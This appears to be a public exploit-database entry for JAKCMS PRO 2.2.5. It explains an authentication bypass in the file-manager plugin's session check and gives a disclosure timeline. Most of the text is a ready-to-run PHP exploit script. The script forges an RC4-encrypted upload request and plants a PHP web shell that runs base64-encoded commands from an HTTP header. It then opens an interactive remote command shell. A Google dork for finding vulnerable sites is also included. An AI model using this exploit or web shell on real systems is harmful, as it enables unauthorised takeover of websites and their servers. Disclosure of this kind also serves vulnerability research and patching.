JAKCMS PRO 2.2.5 – Arbitrary File Upload
# Exploit Title: JAKCMS PRO <= 2.2.5 Remote Arbitrary File Upload Exploit # Google Dork: "Powered By JAKCMS" # Date: 21/09/2011 # Author: EgiX # Software Link: http://www.jakcms.com/ # Version: 2.2.5 # Tested on: Windows 7 and Debian 6.0.2 <?php /* -------------------------------------------------------- JAKCMS PRO <= 2.2.5 Remote Arbitrary File Upload Exploit -------------------------------------------------------- author..........: EgiX mail............: n0b0d13s[at]gmail[dot]com software link...: http://www.jakcms.com/ This PoC was written for educational purpose. Use it at your own risk. Author will be not responsible for any damage. [-] vulnerable code in /js/editor/plugins/jakadminexplorer/php/session.php 119. if ($SESSION["check_session_variable"] != "") { 120. 121. // Session Starten 122. session_start(); 123. 124. // Session-Variable überprüfen 125. if (!isset($_SESSION[$SESSION["check_session_variable"]])) { 126. include("error.php"); 127. die; 128. } 129. } This authentication schema could be bypassed due to an attacker might be able to start a session accessing to /index.php that set for e.g. the "jak_lastURL" session variable, so could be set $SESSION["check_session_variable"] to bypass the check at line 125. Successful exploitation allows attackers access to plugins functionality (see /js/editor/plugins/jakadminexplorer/php/action.php), in this way an attacker could be able to "delete", "create", "rename" any folder/file into webserver or upload arbitrary files. The same vulnerability afflicts also jakadminimage, jakusrexplorer and jakusrimage plugins. [-] Disclosure timeline: [15/09/2011] - Vulnerability discovered [16/09/2011] - Issue reported to http://www.jakcms.com/tracker/t/61/security-flaw-imagefilemanager [16/09/2011] - Vendor fix released in version 2.2.6 [21/09/2011] - Public disclosure */ error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout", 5); function http_send($host, $packet) { if (!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}:80\n"); fputs($sock, $packet); return stream_get_contents($sock); } function RC4($data) { $key = "asvKHQFkoobdwdin4bi30xzb003ufkxS3Fu3HArhBnlIk5pr3D6OGSKvUbso1rtne42VekxwUmOtPgmcA1iYC6lrpWP7HXq6VdB8EnbzR0L8rIHMqSY8mIi0o3ROzZWe"; $s = range(0, 256); $j = 0; for ($i = 0; $i < 256; $i++) { $j = ($j + $s[$i] + ord($key[$i % strlen($key)])) % 256; $x = $s[$i]; $s[$i] = $s[$j]; $s[$j] = $x; } $i = $j = 0; $ct = ""; for ($y = 0; $y < strlen($data); $y++) { $i = ($i + 1) % 256; $j = ($j + $s[$i]) % 256; $x = $s[$i]; $s[$i] = $s[$j]; $s[$j] = $x; $ct .= $data[$y] ^ chr($s[($s[$i] + $s[$j]) % 256]); } return $ct; } print "\n+------------------------------------------------------------------+"; print "\n| JAKCMS PRO <= 2.2.5 Remote Arbitrary File Upload Exploit by EgiX |"; print "\n+------------------------------------------------------------------+\n"; if ($argc < 3) { print "\nUsage......: php $argv[0] <host> <path>\n"; print "\nExample....: php $argv[0] localhost /"; print "\nExample....: php $argv[0] localhost /jakcms/\n"; die(); } $host = $argv[1]; $path = $argv[2]; $packet = "GET {$path} HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Connection: close\r\n\r\n"; preg_match("/PHPSESSID=([^;]*);/i", http_send($host, $packet), $m); $sid = $m[1]; $payload = "--o0oOo0o\r\n"; $payload .= "Content-Disposition: form-data; name=\"edit1\"\r\n\r\n.php\r\n"; $payload .= "--o0oOo0o\r\n"; $payload .= "Content-Disposition: form-data; name=\"input1\"; filename=\"foo\"\r\n\r\n"; $payload .= "<?php \${error_reporting(0)}.\${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))} ?>\r\n"; $payload .= "--o0oOo0o--\r\n"; $get = bin2hex(RC4("id=1&check_session_variable=jak_lastURL&upload_filetype=php&dir={$path}cache/sh")); $packet = "POST {$path}js/editor/plugins/jakadminexplorer/?action=upload&get={$get} HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cookie: PHPSESSID={$sid}\r\n"; $packet .= "Content-Length: ".strlen($payload)."\r\n"; $packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n"; $packet .= "Connection: close\r\n\r\n"; $packet .= $payload; if (preg_match("/Error/", http_send($host, $packet))) die("\n[-] Upload failed!\n"); $packet = "GET {$path}cache/sh.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cmd: %s\r\n"; $packet .= "Connection: close\r\n\r\n"; while(1) { print "\njakcms-shell# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; preg_match("/_code_(.*)/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ? print $m[1] : die("\n[-] Exploit failed!\n"); } ?> |